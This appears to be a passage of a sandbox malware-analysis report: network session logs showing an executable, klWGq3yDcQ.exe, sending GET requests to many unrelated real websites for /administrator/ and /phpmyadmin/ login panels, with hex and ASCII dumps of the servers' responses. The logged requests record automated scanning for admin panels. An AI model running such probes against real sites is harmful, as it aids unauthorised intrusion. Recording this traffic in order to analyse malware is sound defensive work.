2023-11-26 05:59:34 UTC	310	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:59:34 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 05:59:34 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	58804	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	245	OUT	GET /administrator/index.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.ceuandalucia.es/administrator/
2023-11-26 05:59:35 UTC	468	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressLocation: https

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	59013	185.54.192.125	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:35 UTC	270	OUT	GET /administrator/ HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=k11oabf2270bqa8id9iv53haoo User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://talentius.com/administrator/
2023-11-26 05:59:35 UTC	385	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:35 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://talentius.com/wp-json/>; rel="https:
2023-11-26 05:59:35 UTC	7807	IN	Data Raw: 31 66 30 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a Data Ascii: 1f06<!DOCTYPE html><html lang="es-ES" class="no-js"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="https:
2023-11-26 05:59:35 UTC	141	IN	Data Raw: 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 77 69 64 67 65 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: /wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4'></script><script type='text/javascript' src='https://talentius.com/wp-includes/js/jquery
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:35 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 2f 75 69 2f 6d 6f 75 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 64 72 61 67 67 61 62 6c 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 64 72 6f 70 70 Data Ascii: 1ff8/ui/mouse.min.js?ver=1.11.4'></script><script type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/draggable.min.js?ver=1.11.4'></script><script type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/dropp
2023-11-26 05:59:35 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2023-11-26 05:59:35 UTC	8184	IN	Data Raw: 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 39 34 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 73 63 72 6f 6c 6c 22 20 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 6f 72 6d 61 63 69 6f 6e 2e 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 22 3e 41 43 43 45 53 4f 20 55 53 55 41 52 49 4f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 09 09 09 09 09 3c 64 69 76 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 61 76 69 73 6f 2d 6c 65 67 61 6c 2f 23 61 76 69 73 6f 2d 6c 65 67 61 6c 22 3e 41 76 69 73 6f 20 6c 65 67 61 6c 3c 2f 61 3e 20 7c 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 61 Data Ascii: tom menu-item-object-custom menu-item-294"><a class="page-scroll" target="_blank" href="http://formacion.talentius.com/">ACCESO USUARIO</a></li></ul><div><p><a href="http://talentius.com/aviso-legal/#aviso-legal">Aviso legal</a> \| <a href="http://ta
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:35 UTC	942	IN	Data Raw: 33 61 32 0d 0a 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 70 61 72 61 6c 6c 61 78 2d 31 2e 31 2e 33 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 66 61 6e 63 79 62 6f 78 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 Data Ascii: 3a2om/wp-content/themes/bizone/assets/js/jquery.parallax-1.1.3.js'></script><script type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.fancybox.js'></script><script type='text/javascript' src='https://talentius

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	59028	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:36 UTC	247	OUT	GET /administrator/index.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://gruporegiosafety.com/administrator/
2023-11-26 05:59:38 UTC	1499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 48 65 61 64 65 72 73 3a 20 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:36 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Access-Control-Allow-Methods: GET,POSTAccess-Control-Allow-Headers: Content
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	58994	34.208.26.152	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:36 UTC	239	OUT	GET /administrator/index.php HTTP/1.1 Host: micro-design.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://micro-design.com/administrator/
2023-11-26 05:59:36 UTC	418	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 37 2e 34 2e 31 35 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:36 GMTServer: ApacheX-Powered-By: PHP/7.4.15Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressX-Frame-Options: SAMEORIG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	58740	117.20.63.148	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:36 UTC	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: student.debritto.sch.id Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:36 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 0d 0a 58 2d 43 61 63 68 65 3a 20 48 49 54 20 66 72 6f 6d 20 42 61 63 6b 65 6e 64 0d 0a 53 74 72 69 63 74 2d 54 72 61 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginx/1.20.1Date: Sun, 26 Nov 2023 05:59:36 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 238Connection: closeLocation: http://117.20.63.148:2030/pma/X-Cache: HIT from BackendStrict-Tra
2023-11-26 05:59:36 UTC	238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://117.20.63.148:2030/pma/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	59044	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:36 UTC	232	OUT	GET /administrator/index.php HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://esoft.academy/administrator
2023-11-26 05:59:36 UTC	628	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:36 UTC	741	IN	Data Raw: 37 64 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d3b<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:36 UTC	1369	IN	Data Raw: 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 Data Ascii: product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".concat(e
2023-11-26 05:59:36 UTC	1369	IN	Data Raw: 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c 73 65 73 73 69 6f 6e 5f Data Ascii: stTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},session_
2023-11-26 05:59:36 UTC	1369	IN	Data Raw: 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 70 6c 69 74 28 22 2e 22 Data Ascii: )throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var 